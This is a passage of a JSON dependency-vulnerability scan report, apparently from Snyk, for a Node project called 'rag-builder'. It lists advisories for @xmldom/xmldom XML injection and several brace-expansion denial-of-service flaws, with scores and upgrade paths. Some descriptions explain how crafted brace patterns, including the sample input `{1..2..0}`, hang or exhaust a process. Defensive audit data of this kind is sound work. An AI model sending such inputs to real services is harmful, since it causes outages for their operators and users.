"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499081",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"bhaswanthc"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.14",
">=0.9.0-beta.1 <0.9.11"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.14",
"0.9.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-4w3w-2rp5-g8jm",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/cba1321218b069182695813fa7565653708e172e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/d8212e632507eaf1d9f609657dd4c56abeb12d44",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1043",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1050",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.14",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.11",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 8.1,
"modificationTime": "2026-09-02T06:02:45.602907Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:24:00.325671Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:24:00.325671Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T06:02:45.602907Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via the `setAttribute` method. An attacker can inject arbitrary attribute names, including those containing event handlers or namespace declarations, by supplying crafted input that bypasses validation checks.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.14, 0.9.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-4w3w-2rp5-g8jm)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/cba1321218b069182695813fa7565653708e172e)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/d8212e632507eaf1d9f609657dd4c56abeb12d44)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1043)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1050)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.14)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.11)\n",
"epssDetails": {
"percentile": "0.46991",
"probability": "0.00612",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83605"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-4w3w-2rp5-g8jm"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T14:09:11.124280Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:02:18.042000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T14:09:11.380629Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:00.325671Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
}
],
"upgrade": {
"@langchain/openai@0.6.13": {
"upgradeTo": "@langchain/openai@1.0.0",
"upgrades": [
"zod@3.25.76"
],
"vulns": [
"SNYK-JS-ZOD-20510278"
]
},
"adm-zip@0.5.16": {
"upgradeTo": "adm-zip@0.6.1",
"upgrades": [
"adm-zip@0.5.16",
"adm-zip@0.5.16",
"adm-zip@0.5.16",
"adm-zip@0.5.16",
"adm-zip@0.5.16",
"adm-zip@0.5.16",
"adm-zip@0.5.16"
],
"vulns": [
"SNYK-JS-ADMZIP-19276676",
"SNYK-JS-ADMZIP-19846655",
"SNYK-JS-ADMZIP-19963965",
"SNYK-JS-ADMZIP-20335412",
"SNYK-JS-ADMZIP-20335417",
"SNYK-JS-ADMZIP-20335419",
"SNYK-JS-ADMZIP-17954277"
]
},
"axios@1.12.2": {
"upgradeTo": "axios@1.16.0",
"upgrades": [
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2",
"axios@1.12.2"
],
"vulns": [
"SNYK-JS-AXIOS-17111062",
"SNYK-JS-AXIOS-17111079",
"SNYK-JS-AXIOS-17172681",
"SNYK-JS-AXIOS-16299921",
"SNYK-JS-AXIOS-16417750",
"SNYK-JS-AXIOS-17111060",
"SNYK-JS-AXIOS-16298058",
"SNYK-JS-AXIOS-16299904",
"SNYK-JS-AXIOS-16299923",
"SNYK-JS-AXIOS-15969258",
"SNYK-JS-AXIOS-15252993"
]
},
"express@4.21.2": {
"upgradeTo": "express@4.22.3",
"upgrades": [
"qs@6.13.0",
"qs@6.13.0",
"qs@6.13.0"
],
"vulns": [
"SNYK-JS-QS-20943482",
"SNYK-JS-QS-14724253",
"SNYK-JS-QS-15268416"
]
},
"glob@8.1.0": {
"upgradeTo": "glob@12.0.0",
"upgrades": [
"brace-expansion@2.0.2",
"brace-expansion@2.0.2",
"brace-expansion@2.0.2",
"brace-expansion@2.0.2",
"brace-expansion@2.0.2",
"brace-expansion@2.0.2",
"minimatch@5.1.6",
"minimatch@5.1.6"
],
"vulns": [
"SNYK-JS-BRACEEXPANSION-15789759",
"SNYK-JS-BRACEEXPANSION-17706650",
"SNYK-JS-BRACEEXPANSION-18313044",
"SNYK-JS-BRACEEXPANSION-18512280",
"SNYK-JS-BRACEEXPANSION-20244948",
"SNYK-JS-BRACEEXPANSION-20244952",
"SNYK-JS-MINIMATCH-15309438",
"SNYK-JS-MINIMATCH-15353389"
]
},
"mammoth@1.10.0": {
"upgradeTo": "mammoth@1.12.3",
"upgrades": [
"mammoth@1.10.0"
],
"vulns": [
"SNYK-JS-MAMMOTH-20510281"
]
}
},
"patch": {},
"ignore": {},
"pin": {}
},
"filesystemPolicy": false,
"filtered": {
"ignore": [],
"patch": []
},
"uniqueCount": 68,
"targetFile": "/app/package.json",
"projectName": "rag-builder",
"displayTargetFile": "/app/package.json",
"hasUnknownVersions": false,
"path": "docker.io/scopear/docker-scope-docs:20260604.90"
},
{
"vulnerabilities": [
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
